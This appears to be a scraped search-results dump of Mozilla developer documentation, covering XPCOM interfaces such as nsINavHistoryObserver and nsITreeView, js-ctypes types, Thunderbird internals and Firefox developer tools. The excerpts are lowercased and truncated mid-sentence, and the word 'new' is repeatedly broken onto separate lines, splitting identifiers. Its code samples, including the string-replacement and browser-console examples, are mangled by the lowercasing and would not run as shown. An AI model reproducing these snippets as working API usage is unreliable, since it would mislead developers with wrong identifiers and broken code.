new element using a weak reference. exceptions thrown ns_error_failure when a weak reference is requested, but the element does not support nsiweakreference. see also nsiarray ...
nsINavHistoryObserver
has changed. note that for typed and hidden pages, the page might not actually have been added yet. this needs to be clarified; what are typed and hidden? void onpagechanged( in nsiuri auri, in unsigned long awhat, in astring avalue ); parameters auri the uri of the page on which an attribute changed. awhat the attribute whose value changed. avalue the attribute's
new value. onpageexpired() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this method was removed in gecko 2.0. use ondeletevisits() instead. called when a history entry expires. this notification is sent to indicate that a specific visit has expired, and includes the time of that visit. when the last visit for a history entry expires, the hi...
...s the title was specifically set to be nothing. null means the title was not set at all. from c++ code, use the isvoid() and setisvoid() methods to see whether an empty string is "null" or not; in either case it will always be an empty string. void ontitlechanged( in nsiuri auri, in astring apagetitle ); parameters auri the uri of the page whose title changed. apagetitle the
new title of the page. onvisit() called when a resource is visited. this is called the first time a resource (page, image, and so on.) is seen as well as every subsequent time. normally, transition types of transition_embed (corresponding to images in a page, for example) are not displayed in history results (unless includehidden is set). many observers can ignore _embed notifications (which will co...
...sit the user came from. 0 if empty. atransitiontype the type of the item that is about to be removed; this is one of the nsinavbookmarksservice.constants defined in the nsinavbookmarksservice interface. aguid the unique id associated with the page. aadded incremented by query nodes when the visited uri belongs to them. if no such query exists, the history result creates a
new query node dynamically. it is used in places views only and can be ignored. using onbeforedeleteuri() in gecko 1.9.1 if you wish to support onbeforedeleteuri() in applications based on gecko 1.9.1, you must implement your observer's queryinterface() method to match on both nsinavhistoryobserver and nsinavhistoryobserver_mozilla_1_9_1_additions, as shown below. queryinterface: function(iid) { i...
nsIProcessScriptLoader
sscript(in astring aurl); jsval getdelayedprocessscripts(); loadprocessscript() load a script in the child process. process scripts are loaded as soon as loadprocessscript() is called. if this function is called on a chromemessagebroadcaster, : it will load the process script into all child processes. if aallowdelayedload is true, then the script will also be loaded into any
new child processes created after the loadprocessscript() call. otherwise it will only be loaded into child processes that exist at the time of the call. if this function is called on a chromemessagesender: it will load the process script only into this chromemessagesender's child process aallowdelayedload should always be true. it's possible that the child process for this chromemessagesender ...
... aurl string url for the script to load. aurl must be the absolute url. data: urls are also supported. for example data:,dump("foo\n"); aallowdelayedload boolean if this flag is false, the process script will only be loaded into child processes that are already running at the time of the call. if this flag is true, the process script will be loaded into any
new child processes created after the loadprocessscript() call, until removedelayedprocessscript() is called for that script. if you are calling loadprocessscript() on a chromemessagesender, you should always pass true here. removedelayedprocessscript() removes aurl from the list of scripts which support delayed load. this cancels the effect of the aallowdelayedload flag, meaning th...
...pt() call, until removedelayedprocessscript() is called for that script. if you are calling loadprocessscript() on a chromemessagesender, you should always pass true here. removedelayedprocessscript() removes aurl from the list of scripts which support delayed load. this cancels the effect of the aallowdelayedload flag, meaning that the loader will no longer load the script into
new child processes. if you used aallowdelayedload, you should call this as part of your cleanup (for example, when your add-on is disabled or uninstalled). parameters name type description aurl string url for the script to remove. getdelayedprocessscripts() returns all delayed scripts that will be loaded once a child process becomes available. the return value...
nsISHistoryListener
ry/public/nsishistorylistener.idlscriptable an interface you can implement to receive notifications about activities that occur in session history, and optionally cancel them. inherits from: nsisupports last changed in gecko 1.7 a session history listener is notified when pages are added to, removed from, and loaded from session history. the listener can prevent any action (except adding a
new session history entry) from happening by returning false from the corresponding callback method. a session history listener can be registered on a particular nsishistory instance via the nsishistory.addshistorylistener() method. method overview boolean onhistorygoback(in nsiuri abackuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(in long aindex, in nsiur...
...happening by returning false from the corresponding callback method. a session history listener can be registered on a particular nsishistory instance via the nsishistory.addshistorylistener() method. method overview boolean onhistorygoback(in nsiuri abackuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(in long aindex, in nsiuri agotouri); void onhistory
newentry(in nsiuri a
newuri); boolean onhistorypurge(in long anumentries); boolean onhistoryreload(in nsiuri areloaduri, in unsigned long areloadflags); methods onhistorygoback() called when navigating to a previous session history entry, for example due to an nsiwebnavigation.goback() call. boolean onhistorygoback( in nsiuri abackuri ); parameters abackuri the uri of the session history en...
...en navigating to a session history entry by index, for example, when nsiwebnavigation.gotoindex() is called. boolean onhistorygotoindex( in long aindex, in nsiuri agotouri ); parameters aindex the index in session history of the entry to be loaded. agotouri the uri of the session history entry to be loaded. return value true to allow the operation to proceed or false to cancel it. onhistory
newentry() called when a
new document is added to session history.
new documents are added to session history by the docshell when
new pages are loaded in a frame or content area; for example by calling nsiwebnavigation.loaduri(). note: you can't cancel this operation. void onhistory
newentry( in nsiuri a
newuri ); parameters a
newuri the uri of the document to be added to session history. onhistor...
nsISocketProvider
when set, ...
...g, the socket will not apply any credentials when establishing a connection. for example, an ssl connection would not send any client-certificates if this flag is set. methods native code only!addtosocket this function is called to allow the socket provider to layer a prfiledesc (a file descriptor) on top of another prfiledesc. for example, ssl via a socks proxy. parameters are the same as
newsocket() with the exception of afiledesc, which is an input parameter instead. void addtosocket( in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, in prfiledescstar afiledesc, out nsisupports asecurityinfo ); parameters afamily the address family for this socket (pr_af_inet or pr_af_inet6). ahost th...
... aproxyhost if non-null, the proxy hostname for this connection. aproxyport the proxy port for this connection. aflags control flags that govern this connection (see constants). afiledesc the existing prfiledesc. asecurityinfo any security info that should be associated with afiledesc. this object typically implements nsitransportsecurityinfo. native code only!
newsocket creates a
new socket. void
newsocket( in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, out prfiledescstar afiledesc, out nsisupports asecurityinfo ); parameters afamily the address family for this socket (pr_af_inet or pr_af_inet6). ahost the hostname for this connection. aport the p...
nsITreeView
0 drop_after 1 indropbefore 0 obsolete since gecko 1.8 indropon 1 obsolete since gecko 1.8 indropafter 2 obsolete since gecko 1.8 methods candrop() methods used by the drag feedback code to determine if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mail
news folder pane, always return false when the orientation is not drop_on. note: drop_on will only be passed to candrop() if the item is a container; see iscontainer(). boolean candrop( in long index, in long orientation, in nsidomdatatransfer datatransfer ); parameters index the index of the row. orientation the position around the given row. defined in constants. datatransfer thi...
...a drop is possible. return value true if a drop is allowed at the current location; otherwise false. candropbeforeafter() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method used by the drag feedback code to determine if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mail
news folder pane, always return false from candropbeforeafter(). boolean candropbeforeafter( in long index, in boolean before ); parameters index the index of the item. before true to test drop before. false to test drop after. return value true if a drop event can occur. otherwise false. candropon() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey...
... to test drop before. false to test drop after. return value true if a drop event can occur. otherwise false. candropon() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method used by the drag feedback code to determine if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mail
news folder pane, always return false from candropbeforeafter(). boolean candropon( in long index ); parameters index the index of the item. return value true if a drop event can occur. otherwise false. cyclecell() called on the view when a cell in a non-selectable cycling column (for example, unread/flag/and so on.) is clicked. void cyclecell( in long row, in nsitreecolumn col ); ...
nsIWebBrowserChrome
long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome. the implementation should reflect the value of this attribute by hiding or showing its chrome appropriately. webbrowser nsiwebbrowser the currently loaded webbrowser. the browser chrome may be told to set the webbrowser object to a
new object by setting this attribute. in this case the implementer is responsible for taking the
new webbrowser object and doing any necessary initialization or setup as if it had created the webbrowser itself. this includes positioning setting up listeners etc. constants constant value description status_script 1 flag for setstatus() status_script_default...
...eator. chrome_window_min 16384 represent special cases. chrome_window_popup 32768 represent special cases. chrome_window_raised 33554432 represent special cases. chrome_window_lowered 67108864 represent special cases. chrome_center_screen 134217728 represent special cases. chrome_dependent 268435456 make the
new window dependent on the parent. this flag is only meaningful if chrome_openas_chrome is set; content windows should not be dependent. chrome_modal 536870912 the modal style bit just affects the way the window looks and does not mean it's actually modal. chrome_openas_dialog 1073741824 represent special cases. chrome_openas_chrome 2147483648 represent s...
...no status. showasmodal() shows the window as a modal window. void showasmodal(); parameters none. return value note: the function error code returned by this corresponds to the status value specified in exitmodaleventloop. sizebrowserto() tells the chrome to size itself such that the browser will be the specified size. void sizebrowserto( in long acx, in long acy ); parameters acx
new width of the browser. acy
new height of the browser. ...
nsIWindowsRegKey
description type_none 0 reg_none type_string 1 reg_sz type_binary 3 reg_binary type_int 4 reg_dword type_int64 11 reg_qword methods close() this method closes the key. if the key is already closed, then this method does nothing. void close(); parameters none. create() this method opens an existing key or creates a
new key. note: on 32-bit windows, it is valid to pass any hkey as the rootkey parameter of this function. however, for compatibility with 64-bit windows, that usage should probably be avoided in favor of createchild(). void create( in unsigned long rootkey, in astring relpath, in unsigned long mode ); parameters rootkey a root key defined above or any valid hkey on 32-bit windows. ...
...n 32-bit windows. relpath a relative path from the given root key. mode access mode, which is a bit-wise or of the access_ values defined above. createchild() this method opens or creates a subkey relative to this key. nsiwindowsregkey createchild( in astring relpath, in unsigned long mode ); parameters relpath mode return value nsiwindowsregkey for the
newly opened or created subkey. getchildname() this method returns the name of the n'th child key. astring getchildname( in unsigned long index ); parameters index the index of the requested child key. return value the name of the n'th child key. getvaluename() this method returns the name of the n'th value under this key. astring getvaluename( in unsigned long index ); parameters ...
... a relative path from the given root key. mode access mode, which is a bit-wise or of the access_ values defined above. openchild() this method opens a subkey relative to this key. this method fails if the key does not exist. nsiwindowsregkey openchild( in astring relpath, in unsigned long mode ); parameters relpath mode return value nsiwindowsregkey for the
newly opened subkey. readbinaryvalue() this method reads the binary contents of the named value under this key. javascript callers should take care with the result of this method since it will be byte-expanded to form a js string. (the binary data will be treated as an iso-latin-1 character string, which it is not). acstring readbinaryvalue( in astring name ); parameters name the name of ...
NS_CStringSetDataRange
acter array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_cstringsetdatarange function returns ns_ok if successful. otherwise, it returns an error code. ...
...adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_cstringsetdatarange function returns ns_ok if successful. otherwise, it returns an error code. ...
...ul. otherwise, it returns an error code. example // replace all occurances of |matchval| with |
newval| void replacesubstring(nsacstring& str, const nsacstring& matchval, const nsacstring&
newval) { const char* sp, *mp, *np; pruint32 sl, ml, nl; sl = ns_cstringgetdata(str, &sp); ml = ns_cstringgetdata(matchval, &mp); nl = ns_cstringgetdata(
newval, &np); for (const char* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, mp, ml) == 0) { pruint32 offset = iter - sp; ns_cstringsetdatarange(str, offset, ml, np, nl); sl = ns_cstringgetdata(str, &sp); iter = sp + offset + nl - 1; } } } history this function was frozen for mozilla 1.7. see bug 239123 for details. see also nsacstring...
NS_StringSetDataRange
acter array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_stringsetdatarange function returns ns_ok if successful. otherwise, it returns an error code. ...
... is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_stringsetdatarange function returns ns_ok if successful. otherwise, it returns an error code. ...
...rns an error code. example code // replace all occurances of |matchval| with |
newval| void replacesubstring(nsastring& str, const nsastring& matchval, const nsastring&
newval) { const prunichar* sp, *mp, *np; pruint32 sl, ml, nl; sl = ns_stringgetdata(str, &sp); ml = ns_stringgetdata(matchval, &mp); nl = ns_stringgetdata(
newval, &np); for (const prunichar* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, mp, ml) == 0) { pruint32 offset = iter - sp; ns_stringsetdatarange(str, offset, ml, np, nl); sl = ns_stringgetdata(str, &sp); iter = sp + offset + nl - 1; } } } history this function was frozen for mozilla 1.7. see bug 239123 for details.
XPCOM reference
ithin the mozilla codebase. core xpcom functionsxpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.foldersthe folder classes all implement the nsimsgfolder interface. there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and ns
newsfolder. they all inherit from nsmsgdbfolder, which implements a lot of the core functionality. rss feeds are implemented by nslocalmailfolder.ns ensure successmacrons ensure truemacrons_abort_if_falsethis was removed in bug 1127201ns_addrefmacrons_assertionmacrons_ensure_arg_pointermacrons_errorthrows a assertion (ns_assertion) with the text "error: (error text)", so writes this text to console (...
...rototype provides the xpcom entry-point into a module.nsiabcard/thunderbird3the nsiabcard interface is used to represent and manipulate cards in the address book. in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in comm-central/ mail
news/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call:nsmsgsearchopvaluedefined in comm...
...h/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call:nsmsgsearchopvaluedefined in comm-central/ mail
news/ base/ search/ public/ nsmsgsearchcore.idl nsmsgviewcommandcheckstatethe nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird. it is (as far as i can tell) not currently used anywhere in thunderbird.nsmsgviewcommandtypethe nsmsgviewcommandtype interface contains constants used for commands in thunderbird. for example to mark a message read, you would cal...
Frequently Asked Questions
other issues printf("%x\n", mynscomptr); can cause the program to crash on sigill (illegal instruction), and not on the line with the printf, which can make it tricky to figure out. for debugging purposes you can write printf("%x\n", mynscomptr.get()); how do i... initialize an nscomptr? release an nscomptr before it goes out of scope? assign 0 into it. whenever an nscomptr takes on a
new value, it always releases its old value, if any. assigning in the value 0 is just like assigning in a raw pointer that happens to be null. the old referent will be released. [see initialization and assignment for more details] you should note, though, that there is a small performance penalty for this. the nscomptr will still exercize logic in its destructor to attempt to release the value it ha...
...foo*& parameter? call a getter that doesn't addref its result? any xpcom function that returns an interface pointer, i.e., a `getter', must have already addrefed that pointer. if it didn't, you should probably report it as a bug. no matter which code pattern you use to solve this problem, you should comment it, e.g., // warning: this getter doesn't addref() its result. if the getter returns the
new pointer as its function result, no worries, general does nscomptr bloat the code? are nscomptrs fast? can i use them in tight loops? bibliography web resources nscomptr.h, and nscomptr.cpp are the source to nscomptr. you can examine the source to nscomptr online using (the wonderful) lxr. exploring this code is not an adventure for the faint of heart. some com ownership guidelines. inte...
...rt pointers even more harmful by don box is a follow-up article that originally appeared in the february 1996 issue of "the c++ report". books essential com by don box. effective com by don box, et al. the c++ programming language (3rd edition) by bjarne stroustrup. effective c++ (2nd edition): 50 specific ways to improve your programs and designs by scott meyers. more effective c++ : 35
new ways to improve your programs and designs by scott meyers. effective c++ cd: 85 specific ways to improve your programs and designs by scott meyers. people don box is a smart guy who has been writing about com programming for a long time. ...
Weak reference
away after the first interesting event, even. but in this design, by hitching its life to the observable, it is kept on life-support long past any need or use. what is actually needed in this case, is either out-of-band signaling, where when the observer wants to go away, it unregisters itself from the observable, which then releases its owning reference, allowing the observer to die, or else a
new kind of reference. this document describes an implementation ofweak references. a weak reference does not hold its referent in existence, but also will not dangle. when the referent is destroyed, the weak reference automatically becomes nsnull. this technique can significantly simplify certain relationships, and you should consider it when an owning reference is inappropriate, but where a raw poi...
...eferences. a weak reference does not hold its referent in existence, but also will not dangle. when the referent is destroyed, the weak reference automatically becomes nsnull. this technique can significantly simplify certain relationships, and you should consider it when an owning reference is inappropriate, but where a raw pointer might end up dangling. how do i use it? here's an example. the
new and interesting things are highlighted. #include "nsweakptr.h" #include "nsiweakreferenceutils.h" // ... // it's easy to get a weak reference... nsweakptr weakptr = do_getweakreference(afooptr); // ... { // ...but to use my weak reference, i'll need a (short-lived) owning reference nscomptr<nsifoo> tempfooptr = do_queryreferent(weakptr); if ( tempfooptr ) tempfooptr->somefoomethod(.
... reference can't be aggregated to the target object. hence, we can't use queryinterface to move between them. i know this sounds more convenient, but the global routine ns_getweakreference makes it easy to go from the target object to the weak reference; and nsiweakreference::queryreferent gives you the same functionality as queryinterface for getting back. additionally, nscomptr now supports the
new key do_queryreferent to simplify life even further. how do i make a class support weak references? in javascript, just make sure that your queryinterface method returns your object for the nsisupportsweakreference interface, and you're set; xpconnect does all the work for you. just roll in nssupportsweakreference, a mix-in class that does all the work, and adjust your queryinterface accordingl...
Main Windows
the base chrome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it. as such, i've always thought it would be nice to have a list of what xul, js, or other files are that are here, what they do, and where they overlay at different points within the client. ...
...view sections shown above. the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript. mailoverlay.xul a really small overlay that only adds a few “
new message” and “
new card” commands to the menus, along with their associated javascript. msghdrviewoverlay.xul shown in blue above (where?), this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the contents of most of th...
...ul and customizetoolbarsheet.xul these are two old files from when the original customizable toolbars were ported from firefox (phoenix at the time) to thunderbird (minotaur at the time). customizetoolbar.xul looks and acts a whole lot like the toolkit's customizetoolbar.xul. items have the same id’s, and contain the same structure. a few odd pieces are missing though. for instance, the “add
new toolbar” buttons from toolkit aren’t in the thunderbird version. customizetoolbarsheet.xul is a similar implementation written for osx to give a more native appearance. at compile time these files are added to the toolkit directory so that their chrome addresses are in global, the same as firefox’s. why this is this way, i’m not sure at the moment. i assume that customizetoolbars was ori...
Thunderbird Configuration Files
-in config editor. to access the config editor, go to tools > options or do thunderbird > preferences. if you are on mac os x, and on linux do edit > preferences on, select the advanced options panel, click on the general tab, and click on config editor. this will display a list of used preferences, as well as a search bar at the top. double-click on a preference to change its value. to do add a
new preference, open the context menu (right-click) on any existing preference, go to the
new menu, and select the type of preference. some preferences may require that you restart thunderbird in order to take effect. configuration files some tips and tricks require that you edit configuration files manually. there are three files you should know about: userchrome.css used to change the appear...
...ers: if you know how to create a file, just skip this section. before you can create the file, you must make sure that you can see the file type extensions in windows. start explorer (just click on the my computer icon on your desktop) and select tools > folder options. click the view tab and uncheck the hide extensions for known file types option. now, go to your profile folder and select file >
new > text document. the default name
new text document.txt should be displayed. change the name to user.js (click yes on the file type warning that appears). linux users: use your own preferred method to create user.js in the profile folder. if you don't already have one, consider running the following code in a terminal. $ cd $profile # where $profile is your profile folder $ touch user.js # ...
.... if you don't already have one, consider running the following code in a terminal. $ cd $profile # where $profile is your profile folder $ touch user.js # create the empty javascript file alternatively, open a files window (if you're on ubuntu. this will depend on which distribution you use), navigate to the profile folder, and right-click in some empty space on the right pane, then select
new document > empty document. the default name untitled document should appear, with focus on the filename. enter user.js to change the document's name. ...
Activity Manager examples
// and associate a nsiactivitycancelhandler component ... // assuming that gjunkprocessor is the entity initiating the junk processing // activity, and it has cancelfolderop method that cancels the operations on folders process.init("processing folder: " + folder.prettiestname, gjunkprocessor); // folder is being filtered/processed process.addsubject(folder); process.cancelhandler =
new canceljunkprocess(); ... since nsiactivitycancelhandler is provided with the activity, the ui will show a cancel button beside the activity. you can extrapolate this sample to nsiactivityretryhandler and nsiactivitypausehandler as well. showing a user-defined activity with undo capability (c++) ..... #include "nsiactivity.h" #include "nsiactivitymanager.h" ..... ///////////////////////////...
...we want to // associate it with the event since we are going to use it in the // undo handler. // same for the source folder, it is required for undo operation, but // since it is the subject of this activity (event), it goes into ...
...e helper can be registered for a group of context types // we know that the context object is the author of the message // localization is omitted return "messages coming from " + contextobj.surname + ", " + contextobj.firstname; } } // step 2: register the helper for this context type gactivitymanager.registercontextdisplayhelper("sender",
new sendercontextdisplayhelper()); // step 3: create the process ... let process =
new nsactprocess("processing folder: " + folder.prettiestname, gjunkprocessor); process.cancelhandler =
new canceljunkprocess(); // folder is being filtered/processed process.addsubject(folder); process.contexttype = "sender"; // assuming msg is an instance of nsimsghdr process.contex...
Working with ArrayBuffers
data2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata from it. the data property holds an array of bytes. we start with the following: // pixelbuffer is a pointer to a rgba pixel buffer of 400x400 image. pixelbuffer.tostring(); // "ctypes.uint8_t.ptr(ctypes.uint64("0x352e0000"))" var imgwidth = 400; var imgheight = 400; var myimgdat =
new imagedata(imgwidth, imgheight); method 1: passing arraytype cdata to uint8clampedarray.prototype.set one method is to get into a js-ctypes array, and then set it into the imagedata, as illustrated by the following code example. // cast pointer to array, to pass to uint8clampedarray.prototype.set. var casted = ctypes.cast(pixelbuffer.address(), ctypes.uint8_t.array(myimgdata.data.length).ptr).
...ctypes.winapi_abi : ctypes.default_abi, ctypes.void_t, // return ctypes.void_t.ptr, // *dest ctypes.void_t.ptr, // *src ...
...perating system, "' + os.constants.sys.name + '"'); lib.close(); } } try { var memcpy = lib.declare('memcpy', os.constants.sys.name.tolowercase().indexof('win') == 0 ? ...
CData
ype(dataobject.constructor) whose value points to the c object referred to by the object. tosource() returns the string "t(arg)", where t and arg are implementation-defined javascript expressions intended to represent the type of the cdata object and its value, respectively. string tosource() parameters none. return value a string that, ideally, should be able to be evaluated to produce a
new cdata object containing a copy of the original object. however, this only works if the object's type happens to be bound to an appropriate name in scope. in theory, in other words, the following javascript expression should return a copy of the original cdata object: eval(dataobject.tosource()); tostring() returns a string identifying the data. string tostring(); parameters none. retu...
... must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated by a null character. readstring() converts a character array to a javascript string. 8-bit strings are assumed to be encoded as utf-8. if the 8-bit string contains invalid encoded character, a typeerror exception is thrown. string readstring(); parameters none. ...
...invalid encoded characters will be replaced by �(u+fffd). ...
Int64
y need) values represented using a 64-bit data type. you use the int64 object to create and manipulate 64-bit signed integers. note: it's important to note that the 64-bit integer objects created by int64 are not int64 objects; rather, they're opaque objects whose values you manipulate through the other methods on the int64 object. see 64-bit integers for details. syntax creates and returns a
new 64-bit signed integer. int64 int64( value ); parameters value the value to assign the
new 64-bit integer object. this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a he...
...ger object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number. the string is then converted into the corresponding 64-bit integer value. you can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit javascript number. return value a
new object representing the specified value. exceptions thrown typeerror the specified value cannot be converted into a 64-bit integer. either it's not a number, string, or 64-bit integer object, or it's a string that is incorrectly formatted or contains a value outside the range that can be represented in 64 bits. this will also be thrown if the source value is a floating-point number that can'...
... this is essentially num & 0xffffffff. exceptions thrown typeerror num is not a 64-bit integer object. join() creates a 64-bit integer object whose value is constructed using the specified high and low order 32-bit values. int64 join( high, low ); parameters high the high-order 32 bits of the value to create. low the low-order 32 bits of the value to create. return value a
new 64-bit integer object comprised of the two values merged together. the returned value is (high << 32) + low. exceptions thrown typeerror one or both of the specified numbers is not a javascript number with an integral value. tosource() this method is for internal debugging use only. warning: do not rely on the value returned by this method, as it's subject to change at any time, dependin...
ctypes
the platform. double a double-precision floating point value that behaves like the double type on the platform. character types character types are 8-bit values that behave like their c counterparts. they're similar to the int8_t and uint8_t types, except conversion is handled differently. for example, ctypes.char.array(30)(str) converts the string str to utf-8 and returns a
new cdata object of array type. type description char a character type that behaves like the char c type on the platform. signed_char a signed character that behaves like the char type on the platform. unsigned_char an unsigned character that behaves like the unsigned char type on the platform. types whose size varies depending on platf...
...rge integer types because javascript doesn't support large (64-bit) integers, js-ctypes provides two data types allowing access to 64-bit integer data. type description int64 a javascript object representing a 64-bit signed integer. uint64 a javascript object representing a 64-bit unsigned integer. methods cast() casts the specified cdata object to a
new type, returning a
new cdata object representing the value in the
new type. see type casting for details. cdata cast( data, type ); parameters data the cdata object to type cast. type the type to which to cast the value. this can be one of the predefined data types, or any user-defined types. return value a
new cdata object representing the same data, but with the specified type. l...
... credit for this example is to nmaier (stackoverflow :: getting tb_button is crashing and not working) example of cast and functiontype on windows components.utils.import("resource://gre/mo...
js-ctypes reference
, they provide a concrete representation of different data types, allowing the programmer to describe the arguments and return type of a native function (see library.declare()). second, they serve as constructors to create concrete instances of the given type, i.e. cdata objects. out of the box, js-ctypes supports a number of predefined types. type constructors these are functions that define
new types, and thus return a ctype object. these include ctypes.pointertype(type) and the .ptr property, which creates a
new type describing a pointer to an existing type. ctypes.arraytype(type, [length]) and the .array() method, which creates a
new type describing an array of objects of an existing type. ctypes.structtype(), which creates a
new type describing a c struct. ctypes.functiontype(a...
... data these are instances of types, represented by cdata objects and instantiated by calling ctype objects as functions. these distinctions are crucial, and understanding them will alleviate much of the confusion surrounding js-ctypes. calling a type constructor will return a ctype. ...
...ta objects. other features error-handling js-ctypes supports both errno (on all platforms) and getlasterror (on windows platforms). callbacks you can pass regular javascript functions as callbacks to native functions. see the callbacks page for details. 64-bit integer handling because javascript number objects can't directly represent every possible 64-bit integer value, js-ctypes provides
new types for these. see int64 and uint64. ...
Gecko Plugin API Reference - Plugins
ug-in object. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_
new npp_
newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser. the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. for an overview of how t...
... supported and may have unpredictable results. npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a
new stream with the contents of the specified url; gets notification of the result. npn_getvalue allows the plug-in to query the browser for information. npn_getvalueforurl provides information to a plug-in which is associated with a given url, for example the cookies or preferred proxy. npn_invalidaterect invalidates specified drawing area prior to repainting or refreshing a windowless plug-in...
...tes specified drawing area prior to repainting or refreshing a windowless plug-in. npn_invalidateregion invalidates specified drawing region prior to repainting or refreshing a windowless plug-in. npn_memalloc allocates memory from the browser's memory space. npn_memflush requests that the browser free a specified amount of memory. npn_memfree deallocates a block of allocated memory. npn_
newstream requests the creation of a
new data stream produced by the plug-in and consumed by the browser. npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated). npn_poppopupsenabledstate pops the popups-enabled state. npn_posturl posts data to a url. npn_posturlnotify pos...
Browser Console - Firefox Developer Tools
browser's ui by creating, changing and removing xul elements. controlling the browser the command line interpreter gets access to the tabbrowser object, through the gbrowser global, and that enables you to control the browser through the command line. try running this code in the browser console's command line (remember that to send multiple lines to the browser console, use shift+enter): var
newtabbrowser = gbrowser.getbrowserfortab(gbrowser.selectedtab);
newtabbrowser.addeventlistener("load", function() {
newtabbrowser.contentdocument.body.innerhtml = "<h1>this page has been eaten</h1>"; }, true);
newtabbrowser.contentdocument.location.href = "https://mozilla.org/"; it adds a listener to the currently selected tab's load event that will eat the
new page, then loads a
new page. note...
...age, then loads a
new page. note: you can restart the browser with the command ctrl + alt + r (windows, linux) or cmd + alt + r (mac) this command restarts the browser with the same tabs open as before the restart. modifying the browser ui since the global window object is the browser's chrome window, you can also modify the browser's user interface. ...
... will add a
new item to the browser's main menu: var parent = window.document.getelementbyid("appmenuprimarypane"); var makethetea = gbrowser.ownerdocument.defaultview.document.createelementns("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem"); makethetea.setattribute("label", "a nice cup of tea?"); parent.appendchild(makethetea); on macos, this similar code will add a
new item to the "tools" menu: var parent = window.document.getelementbyid("menu_toolspopup"); var makethetea = gbrowser.ownerdocument.defaultview.document.createelementns("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem"); makethetea.setattribute("label", "a nice cup of tea?"); parent.appendchild(makethetea); ...
Debugger.Frame - Firefox Developer Tools
ons and "debugger" frames. onpop this property must be either undefined or a function. if it is a function, spidermonkey calls it just before this frame is popped, passing a completion value indicating how this frame’s execution completed, and providing this debugger.frame instance as the this value. the function should return a resumption value indicating how execution should proceed. on
newly created frames, this property’s value is undefined. when this handler is called, this frame’s current execution location, as reflected in its offset and environment properties, is the operation which caused it to be unwound. in frames returning or throwing an exception, the location is often a return or a throw statement. in frames propagating exceptions, the location is a call. when an...
...rame’s current execution location, as reflected in its offset and environment properties, is the operation which caused it to be unwound. in frames returning or throwing an exception, the location is often a return or a throw statement. in frames propagating exceptions, the location is a call. when an onpop call reports the completion of a construction call (that is, a function called via the
new operator), the completion value passed to the handler describes the value returned by the function body. if this value is not an object, it may be different from the value produced by the
new expression, which will be the value of the frame’s this property. (in ecmascript terms, the onpop handler receives the value returned by the [[call]] method, not the value returned by the [[construct]] met...
...at, like eval, declarations in thecode passed to evalwithbindings affect the environment of this frame, even as that environment is extended by bindings visible withincode. (in the terms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents, and thebindings appear in a
